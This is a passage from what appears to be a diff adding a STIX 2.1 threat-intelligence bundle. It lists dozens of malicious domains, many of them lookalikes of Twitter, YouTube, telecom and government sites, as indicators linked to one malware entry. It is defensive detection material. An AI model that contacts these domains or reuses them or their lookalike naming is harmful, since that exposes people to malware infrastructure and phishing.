"indicator--f4289324-47d5-4246-84db-49b890f691f2", + "created": "2023-07-28T12:14:36.213694Z", + "modified": "2023-07-28T12:14:36.213694Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tokoulouri.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.213694Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2d515fe1-1eca-4bda-bbea-ee7282a3872d", + "created": "2023-07-28T12:14:36.213917Z", + "modified": "2023-07-28T12:14:36.213917Z", + "relationship_type": "indicates", + "source_ref": "indicator--f4289324-47d5-4246-84db-49b890f691f2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--2c0e8b3b-3f63-44b2-8376-3a897f1cc14f", + "created": "2023-07-28T12:14:36.213988Z", + "modified": "2023-07-28T12:14:36.213988Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='servers-mobile.info']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.213988Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6fa961e9-afc2-43e2-ab11-0b8e1d8d263a", + "created": "2023-07-28T12:14:36.214213Z", + "modified": "2023-07-28T12:14:36.214213Z", + "relationship_type": "indicates", + "source_ref": "indicator--2c0e8b3b-3f63-44b2-8376-3a897f1cc14f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed7b7dc9-a580-4f8c-b5b3-77c4db73bc46", + "created": "2023-07-28T12:14:36.214284Z", + "modified": "2023-07-28T12:14:36.214284Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='smsuns.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.214284Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c7bfdc2-2e3f-4922-b4ee-8ee5afa99c81", + "created": "2023-07-28T12:14:36.214506Z", + "modified": "2023-07-28T12:14:36.214506Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed7b7dc9-a580-4f8c-b5b3-77c4db73bc46", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--e9338fed-5c6b-49ba-b231-f09a73e87d04", + "created": "2023-07-28T12:14:36.214578Z", + "modified": "2023-07-28T12:14:36.214578Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tgrthgsrgwrthwrtgwr.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.214578Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--06dc4b36-9da7-4b23-81d2-97183eaf8a8c", + "created": "2023-07-28T12:14:36.214808Z", + "modified": "2023-07-28T12:14:36.214808Z", + "relationship_type": "indicates", + "source_ref": "indicator--e9338fed-5c6b-49ba-b231-f09a73e87d04", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fb982ff2-05ca-4987-9201-20c6d411abc3", + "created": "2023-07-28T12:14:36.214879Z", + "modified": "2023-07-28T12:14:36.214879Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='xyvok.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.214879Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8e92ba66-a722-4afb-a88c-1f3d69ae86c3", + "created": "2023-07-28T12:14:36.215157Z", + "modified": "2023-07-28T12:14:36.215157Z", + "relationship_type": "indicates", + "source_ref": "indicator--fb982ff2-05ca-4987-9201-20c6d411abc3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--d0efc995-3cfb-4556-9733-42db88b104d3", + "created": "2023-07-28T12:14:36.215228Z", + "modified": "2023-07-28T12:14:36.215228Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='kormoran.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.215228Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--897c8d7d-b8e5-4dd2-8f7b-d731b1fc918a", + "created": "2023-07-28T12:14:36.215474Z", + "modified": "2023-07-28T12:14:36.215474Z", + "relationship_type": "indicates", + "source_ref": "indicator--d0efc995-3cfb-4556-9733-42db88b104d3", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cf1f7f02-976d-4dc3-961c-a385101debc9", + "created": "2023-07-28T12:14:36.215546Z", + "modified": "2023-07-28T12:14:36.215546Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bit-li.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.215546Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--b629243c-4af7-47f8-bc9c-0a956e884976", + "created": "2023-07-28T12:14:36.215769Z", + "modified": "2023-07-28T12:14:36.215769Z", + "relationship_type": "indicates", + "source_ref": "indicator--cf1f7f02-976d-4dc3-961c-a385101debc9", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--93224e95-6af4-4854-b9fc-489872ef6bd2", + "created": "2023-07-28T12:14:36.215842Z", + "modified": "2023-07-28T12:14:36.215842Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tesla-s.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.215842Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--4c0a5a85-224d-42c0-904c-6460a3b19e10", + "created": "2023-07-28T12:14:36.216062Z", + "modified": "2023-07-28T12:14:36.216062Z", + "relationship_type": "indicates", + "source_ref": "indicator--93224e95-6af4-4854-b9fc-489872ef6bd2", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--1b2daf01-7c0d-4fe3-a073-4c8394065643", + "created": "2023-07-28T12:14:36.216139Z", + "modified": "2023-07-28T12:14:36.216139Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ebill.cosmote.center']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.216139Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--85880fca-9829-471a-b7cb-50c10668252b", + "created": "2023-07-28T12:14:36.216393Z", + "modified": "2023-07-28T12:14:36.216393Z", + "relationship_type": "indicates", + "source_ref": "indicator--1b2daf01-7c0d-4fe3-a073-4c8394065643", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--decd86c0-8e05-44c3-9c6e-d8bbcf127703", + "created": "2023-07-28T12:14:36.216465Z", + "modified": "2023-07-28T12:14:36.216465Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='lubentv.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.216465Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--d5af7c62-7b25-4bf7-afe0-1ec90a796930", + "created": "2023-07-28T12:14:36.216691Z", + "modified": "2023-07-28T12:14:36.216691Z", + "relationship_type": "indicates", + "source_ref": "indicator--decd86c0-8e05-44c3-9c6e-d8bbcf127703", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4f550e1-74cf-47a1-9669-7a452b86ce44", + "created": "2023-07-28T12:14:36.216766Z", + "modified": "2023-07-28T12:14:36.216766Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='nassosblog.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.216766Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f60ea644-6a7f-4d25-a468-7c6b64e1e1e0", + "created": "2023-07-28T12:14:36.217021Z", + "modified": "2023-07-28T12:14:36.217021Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4f550e1-74cf-47a1-9669-7a452b86ce44", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--8232a6c9-bac1-43d3-9b62-3f667d1c78de", + "created": "2023-07-28T12:14:36.217094Z", + "modified": "2023-07-28T12:14:36.217094Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='eg-gov.org']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.217094Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ccf82730-9c3b-443d-b5fc-9dc329bd05b1", + "created": "2023-07-28T12:14:36.217314Z", + "modified": "2023-07-28T12:14:36.217314Z", + "relationship_type": "indicates", + "source_ref": "indicator--8232a6c9-bac1-43d3-9b62-3f667d1c78de", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--18a77173-efc7-4c92-920d-5c2b724ac5ce", + "created": "2023-07-28T12:14:36.217384Z", + "modified": "2023-07-28T12:14:36.217384Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='serviceupdaterequest.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.217384Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27c42845-ec1e-423e-aa4c-8a17a7a76878", + "created": "2023-07-28T12:14:36.217613Z", + "modified": "2023-07-28T12:14:36.217613Z", + "relationship_type": "indicates", + "source_ref": "indicator--18a77173-efc7-4c92-920d-5c2b724ac5ce", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a5fecf25-3ed6-424a-8674-61999ce51014", + "created": "2023-07-28T12:14:36.217684Z", + "modified": "2023-07-28T12:14:36.217684Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='efsyn.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.217684Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--609007de-698d-4e8c-a871-af03b519ff37", + "created": "2023-07-28T12:14:36.218242Z", + "modified": "2023-07-28T12:14:36.218242Z", + "relationship_type": "indicates", + "source_ref": "indicator--a5fecf25-3ed6-424a-8674-61999ce51014", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9ac0d56c-66be-4d19-80c6-cbb5ebff506c", + "created": "2023-07-28T12:14:36.218321Z", + "modified": "2023-07-28T12:14:36.218321Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='engine.ninja']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.218321Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--da01e6ff-9c84-45c9-955e-664a6ba9f287", + "created": "2023-07-28T12:14:36.218557Z", + "modified": "2023-07-28T12:14:36.218557Z", + "relationship_type": "indicates", + "source_ref": "indicator--9ac0d56c-66be-4d19-80c6-cbb5ebff506c", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--251a7029-d4f6-4ed0-9ba0-054dbb316188", + "created": "2023-07-28T12:14:36.218634Z", + "modified": "2023-07-28T12:14:36.218634Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='bumabara.bid']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.218634Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c35bba97-4ea1-4304-8f65-00b1aa202cdf", + "created": "2023-07-28T12:14:36.218856Z", + "modified": "2023-07-28T12:14:36.218856Z", + "relationship_type": "indicates", + "source_ref": "indicator--251a7029-d4f6-4ed0-9ba0-054dbb316188", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--23254e38-6687-4450-b1f7-121e3411a3cb", + "created": "2023-07-28T12:14:36.218928Z", + "modified": "2023-07-28T12:14:36.218928Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='connectivitycheck.online']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.218928Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--9cfeb6fd-6628-461e-bfac-60fe55bf1692", + "created": "2023-07-28T12:14:36.219157Z", + "modified": "2023-07-28T12:14:36.219157Z", + "relationship_type": "indicates", + "source_ref": "indicator--23254e38-6687-4450-b1f7-121e3411a3cb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c4ad57a4-8c28-456e-ada7-93d4a5256764", + "created": "2023-07-28T12:14:36.219231Z", + "modified": "2023-07-28T12:14:36.219231Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='guardnews.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.219231Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c12fb20-75c0-4bce-a72e-e2a9bd4f496a", + "created": "2023-07-28T12:14:36.219456Z", + "modified": "2023-07-28T12:14:36.219456Z", + "relationship_type": "indicates", + "source_ref": "indicator--c4ad57a4-8c28-456e-ada7-93d4a5256764", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--17213445-6e4a-487c-9390-059ee53bab15", + "created": "2023-07-28T12:14:36.219528Z", + "modified": "2023-07-28T12:14:36.219528Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='enigmase.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.219528Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--0ad8d5dd-f912-47dd-8008-86bdce0fb86e", + "created": "2023-07-28T12:14:36.219749Z", + "modified": "2023-07-28T12:14:36.219749Z", + "relationship_type": "indicates", + "source_ref": "indicator--17213445-6e4a-487c-9390-059ee53bab15", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6a8a14f1-8689-4764-b98d-89bc236a8c6f", + "created": "2023-07-28T12:14:36.219821Z", + "modified": "2023-07-28T12:14:36.219821Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='carrefourmisr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.219821Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6b3bb3c-f7e4-405e-9567-5bc64179e221", + "created": "2023-07-28T12:14:36.220044Z", + "modified": "2023-07-28T12:14:36.220044Z", + "relationship_type": "indicates", + "source_ref": "indicator--6a8a14f1-8689-4764-b98d-89bc236a8c6f", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9cf06ac4-7c2a-4146-a7d9-be5feaf386a6", + "created": "2023-07-28T12:14:36.220116Z", + "modified": "2023-07-28T12:14:36.220116Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yuom7.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.220116Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--dd18f0f8-f468-4c2a-bbbc-b0d177ee5da7", + "created": "2023-07-28T12:14:36.22037Z", + "modified": "2023-07-28T12:14:36.22037Z", + "relationship_type": "indicates", + "source_ref": "indicator--9cf06ac4-7c2a-4146-a7d9-be5feaf386a6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c828d88a-8c93-41ff-95e7-c2accd810e75", + "created": "2023-07-28T12:14:36.220448Z", + "modified": "2023-07-28T12:14:36.220448Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mobnetlink3.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.220448Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--92c471f6-4895-49cc-ac41-435330b32c97", + "created": "2023-07-28T12:14:36.220671Z", + "modified": "2023-07-28T12:14:36.220671Z", + "relationship_type": "indicates", + "source_ref": "indicator--c828d88a-8c93-41ff-95e7-c2accd810e75", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--37cc8152-1485-4850-9dc5-ed246d2ba9cb", + "created": "2023-07-28T12:14:36.220744Z", + "modified": "2023-07-28T12:14:36.220744Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='url-tiny.app']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.220744Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ab3d9c5f-fffd-46c0-86d6-e09957672a8f", + "created": "2023-07-28T12:14:36.220968Z", + "modified": "2023-07-28T12:14:36.220968Z", + "relationship_type": "indicates", + "source_ref": "indicator--37cc8152-1485-4850-9dc5-ed246d2ba9cb", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--82bd0ac4-5e25-4b7c-93c6-3e3db2870b85", + "created": "2023-07-28T12:14:36.22104Z", + "modified": "2023-07-28T12:14:36.22104Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='yout.ube.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.22104Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--2c3d6975-2e92-4bef-a240-8b312a1157c5", + "created": "2023-07-28T12:14:36.221327Z", + "modified": "2023-07-28T12:14:36.221327Z", + "relationship_type": "indicates", + "source_ref": "indicator--82bd0ac4-5e25-4b7c-93c6-3e3db2870b85", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ce9c87af-ffad-43af-bc0b-ce0e035c8bd6", + "created": "2023-07-28T12:14:36.221399Z", + "modified": "2023-07-28T12:14:36.221399Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='newslive2.xyz']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.221399Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5de517e3-0b15-4b04-a865-f218b70831c5", + "created": "2023-07-28T12:14:36.221646Z", + "modified": "2023-07-28T12:14:36.221646Z", + "relationship_type": "indicates", + "source_ref": "indicator--ce9c87af-ffad-43af-bc0b-ce0e035c8bd6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--6aa369f7-8d7b-407b-b47b-a5b7907d78e7", + "created": "2023-07-28T12:14:36.22172Z", + "modified": "2023-07-28T12:14:36.22172Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='telecomegy-ads.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.22172Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--27502113-513d-48d7-a876-7e3966a9aa6f", + "created": "2023-07-28T12:14:36.221951Z", + "modified": "2023-07-28T12:14:36.221951Z", + "relationship_type": "indicates", + "source_ref": "indicator--6aa369f7-8d7b-407b-b47b-a5b7907d78e7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--53d70600-1828-4e6f-873c-42ce27598989", + "created": "2023-07-28T12:14:36.222024Z", + "modified": "2023-07-28T12:14:36.222024Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='getsignalapps.live']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.222024Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ddf88e8b-3361-4f12-9b75-0e1d7060f27c", + "created": "2023-07-28T12:14:36.222248Z", + "modified": "2023-07-28T12:14:36.222248Z", + "relationship_type": "indicates", + "source_ref": "indicator--53d70600-1828-4e6f-873c-42ce27598989", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--da38c5c9-34d0-4b0f-b1fb-3046d8516dfd", + "created": "2023-07-28T12:14:36.222321Z", + "modified": "2023-07-28T12:14:36.222321Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='ffoxnewz.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.222321Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--81bdb7d6-7759-4814-ac3d-2bcce959742a", + "created": "2023-07-28T12:14:36.222543Z", + "modified": "2023-07-28T12:14:36.222543Z", + "relationship_type": "indicates", + "source_ref": "indicator--da38c5c9-34d0-4b0f-b1fb-3046d8516dfd", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--0d08051c-bd4b-4ec8-98c7-836c09ed5109", + "created": "2023-07-28T12:14:36.222614Z", + "modified": "2023-07-28T12:14:36.222614Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='orchomenos.news']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.222614Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--10729181-c452-4e10-b230-2a0cc3e0b60e", + "created": "2023-07-28T12:14:36.222861Z", + "modified": "2023-07-28T12:14:36.222861Z", + "relationship_type": "indicates", + "source_ref": "indicator--0d08051c-bd4b-4ec8-98c7-836c09ed5109", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--9e3be30b-65e8-4ed7-8786-201461c4b018", + "created": "2023-07-28T12:14:36.222932Z", + "modified": "2023-07-28T12:14:36.222932Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mlinks.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.222932Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--89a37959-e328-49ac-b576-8fa774c04c1e", + "created": "2023-07-28T12:14:36.223149Z", + "modified": "2023-07-28T12:14:36.223149Z", + "relationship_type": "indicates", + "source_ref": "indicator--9e3be30b-65e8-4ed7-8786-201461c4b018", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--cb0f0cb5-0232-43e5-8875-e6f15c340ad6", + "created": "2023-07-28T12:14:36.223221Z", + "modified": "2023-07-28T12:14:36.223221Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='covid19masks.shop']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.223221Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--5a8345f5-7466-499c-b12b-06f9c865cbc3", + "created": "2023-07-28T12:14:36.22348Z", + "modified": "2023-07-28T12:14:36.22348Z", + "relationship_type": "indicates", + "source_ref": "indicator--cb0f0cb5-0232-43e5-8875-e6f15c340ad6", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--14e00a06-3a94-4811-9154-0127ca1efe19", + "created": "2023-07-28T12:14:36.223561Z", + "modified": "2023-07-28T12:14:36.223561Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='mitube1.link']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.223561Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--f6173dae-e1ae-4c5f-9b6e-33bbd6a7bb20", + "created": "2023-07-28T12:14:36.223793Z", + "modified": "2023-07-28T12:14:36.223793Z", + "relationship_type": "indicates", + "source_ref": "indicator--14e00a06-3a94-4811-9154-0127ca1efe19", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--f64d7720-a97e-4082-938e-af0589fa1c38", + "created": "2023-07-28T12:14:36.223869Z", + "modified": "2023-07-28T12:14:36.223869Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='tw.itter.me']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.223869Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--6c8c6660-c142-4846-a683-ed74f13acd03", + "created": "2023-07-28T12:14:36.224152Z", + "modified": "2023-07-28T12:14:36.224152Z", + "relationship_type": "indicates", + "source_ref": "indicator--f64d7720-a97e-4082-938e-af0589fa1c38", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--ed09003a-6584-4f97-97df-a6e35f57a979", + "created": "2023-07-28T12:14:36.224225Z", + "modified": "2023-07-28T12:14:36.224225Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='msas.ws']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.224225Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--bb8d6286-8147-4ceb-9bd2-c8ec0898dd9b", + "created": "2023-07-28T12:14:36.224451Z", + "modified": "2023-07-28T12:14:36.224451Z", + "relationship_type": "indicates", + "source_ref": "indicator--ed09003a-6584-4f97-97df-a6e35f57a979", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--294a818d-8f75-4b58-8323-041290d928b7", + "created": "2023-07-28T12:14:36.22453Z", + "modified": "2023-07-28T12:14:36.22453Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='supportset.net']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.22453Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--8db7048e-fe6a-44f5-82ea-5f7d63204583", + "created": "2023-07-28T12:14:36.22475Z", + "modified": "2023-07-28T12:14:36.22475Z", + "relationship_type": "indicates", + "source_ref": "indicator--294a818d-8f75-4b58-8323-041290d928b7", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--c10e0bfe-d6d6-45bc-9824-bbbe9711611e", + "created": "2023-07-28T12:14:36.224822Z", + "modified": "2023-07-28T12:14:36.224822Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='shortmee.one']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.224822Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--c0a651f2-cc86-4c73-922a-c224764a2153", + "created": "2023-07-28T12:14:36.225044Z", + "modified": "2023-07-28T12:14:36.225044Z", + "relationship_type": "indicates", + "source_ref": "indicator--c10e0bfe-d6d6-45bc-9824-bbbe9711611e", + "target_ref": "malware--d33c9e88-4727-4645-bdb5-fe90f4b1102b" + }, + { + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--fc039c21-7489-449e-8e77-f7d35b29c32c", + "created": "2023-07-28T12:14:36.225115Z", + "modified": "2023-07-28T12:14:36.225115Z", + "indicator_types": [ + "malicious-activity" + ], + "pattern": "[domain-name:value='insurance.gr.com']", + "pattern_type": "stix", + "pattern_version": "2.1", + "valid_from": "2023-07-28T12:14:36.225115Z" + }, + { + "type": "relationship", + "spec_version": "2.1", + "id": "relationship--ea42c56f-3e11-4bd9-ba6c-86bace881b85", + "created": "2023-07-28T12:14:36.225337Z", + "modified": "2023-07-28T12:14:36.225337Z", + "relationship_type": "indicates", + "source_ref": 